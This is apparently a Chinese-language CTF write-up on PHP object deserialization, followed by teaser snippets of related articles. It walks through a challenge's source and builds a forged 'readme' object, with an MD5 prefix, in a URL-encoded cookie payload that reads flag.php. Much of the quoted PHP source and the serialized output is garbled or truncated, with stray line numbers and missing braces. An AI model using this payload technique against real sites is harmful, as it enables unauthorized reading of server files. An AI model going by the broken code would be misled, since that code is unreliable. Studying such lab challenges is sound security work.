序列化:
序列化 (serialization)是將物件的狀態資訊轉換為可以儲存或傳輸的形式的過程。在序列化期間,物件將其當前狀態寫入到臨時或永續性儲存區。以後,可以通過從儲存區中讀取或反序列化物件的狀態,重新建立該物件。
反序列化:
反序列化與 serialize() 對應的,unserialize()可以從已儲存的表示中建立php的值,單就本次環境而言,可以從序列化後的結果中恢復物件(object)本質上serialize()和unserialize()在php內部實現上是沒有漏洞的,漏洞的主要產生是由於應用程式在處理物件、魔術函式以及序列化相關問題的時候導致的。當傳給 unserialize() 的引數可控時,那麼使用者就可以注入精心構造的payload。當進行反序列化的時候就有可能會觸發物件中的一些魔術方法,造成意想不到的危害。
1這是靶場給我們的原始碼,根據這個**我們可以構建payload。<?php
2class
readme7}
89if(isset($_get['source']))
15//
$todos = ;
1617
if(isset($_cookie['todos']))24}
2526
if(isset($_post['text']))
35 ?>
363739
4041
4243
4849
我們已經知道要取得的flag存在與flag.php中,並且發現魔術函式
__tostring(只有在物件轉換為字串輸出的時候觸發)
45 =$todo?>
這個語句其實是<?php echo $todo ?>的簡寫,<?php可以知道這個語句能夠觸發魔術函式,我們只要能構建合適的語句使得readme中的變數source為flag.php
我們就能夠訪問到flag.php中的內容。
所以我們可以先構建**
class readme
}$a=new readme;
$a->source='flag.php';
$a=$[a];
echo serialize($a);
?>
**執行得到 a:1:}**中我們為什麼要把$a 序列化?為什麼要把a變為陣列?請繼續往下看
所以我們可以逆推上去,
44 <?php foreach($todos as $todo):?>$todo由陣列$todos賦值(所以我們可以知道我們構建的cookie也必須是乙個陣列,經過foreach函式後才變為乙個值),而陣列$todos是在cookie裡得來的,所以我們現在的目標就是能夠構建合適的cookie讓cookie進過層層解碼後傳遞到$todo且$todo是readme類的物件,且物件中的source為flag.php。(這裡需要逆向思維)
觀察這段原始碼我們可以發現 $m就是我們執行得到的序列化碼(所以我們上面要把$a序列化,這樣在反序列化的時候就能達到我們目的) a:1:}
並且$todos=$c=$h.$m=$h.md5($m) 且$h=md5($m)
所以$c=md5($m).$m
所以我們可以構建出payload
e2d4f7dcc43ee1db7f69e76303d0105ca:1:}
經過url編碼後得到e2d4f7dcc43ee1db7f69e76303d0105ca%3a1%3a%7bi%3a0%3bo%3a6%3a%22readme%22%3a1%3a%7bs%3a6%3a%22source%22%3bs%3a8%3a%22flag.php%22%3b%7d%7d
塞入cookie得到flag
PHP反序列化漏洞
序列化簡單利用 serialize 序列化 使用函式serialize 可將例項序列化為字串 unserialize 反序列化 使用函式unserialize 可將序列化的字串還原 示例 class example unserialize get code 漏洞利用 構造漏洞利用的 儲存為test....
PHP反序列化漏洞
前幾天安恆月賽兩道web題中有一道題是關於php反序列化的,然後剛好前幾天剛好看過這個知識點,於是乎這次比賽才沒有爆零,總算是寫出來了一道題 doge 所有php裡面的值都可以使用函式serialize 來返回乙個包含位元組流的字串來表示。unserialize 函式能夠重新把字串變回php原來的值...
Apacche Dubbo 反序列化漏洞
早在2019年開發者社群就有談到這個 http 協議漏洞問題,近期360靈騰安全實驗室判斷漏洞等級為高,利用難度低,威脅程度高。建議公升級 dubbo 版本,避免遭受黑客攻擊。漏洞描述 簡單的說,就是http remoting 開啟的時候,存在反序列化漏洞。apache dubbo在接受來自消費者的...